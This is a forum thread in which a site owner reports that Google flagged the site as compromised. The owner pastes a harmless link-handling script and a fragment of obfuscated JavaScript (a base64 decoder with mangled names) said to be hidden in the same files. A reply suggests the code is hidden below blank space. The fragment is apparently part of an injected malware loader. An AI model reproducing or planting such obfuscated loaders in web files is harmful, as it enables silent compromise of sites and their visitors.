malware in java script

[grucker]

Was advised by google my site my have been compromised. a file named external.js contains the following code.

function externalLinks() {  
if (!document.getElementsByTagName) return;  
var anchors = document.getElementsByTagName("a");  
for (var i=0; i<anchors.length; i++) {  
  var anchor = anchors[i];  
  if (anchor.getAttribute("href") &&  
      anchor.getAttribute("rel") == "external")  
    anchor.target = "_blank";  
}  
}  
window.onload = externalLinks;

They say the file contains the following code which I cannot see. What does this code mean and anyone know why I cannot see it in the file. By the way the exact code is supposedly in another js file and I cannot see it there either. Please help.

 

var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst
uvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","l
ength"];function _1lO(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];va
r _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x
9,_0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0
x6ea4x7=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4x
c++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](
_0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x3
62a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea
4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea
4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_0x6ea4x4=_0x6ea4xb>>16&0xff;
_0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if(_0x6
ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {
if(_0x6ea4xa==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0
x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x
6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[
5]]);;return _0x6ea4xd;} ;function O0l(_0x6ea4xf){var _0x6ea
4x10

[Andrea]

I don't have a clue - but one guess that may or may not be useful: If the code is supposed to be there and you can't see it, did you make sure it's not a couple yards down the file with nothing but white space on top?

[grucker]

So anyone know where I can find out what it means?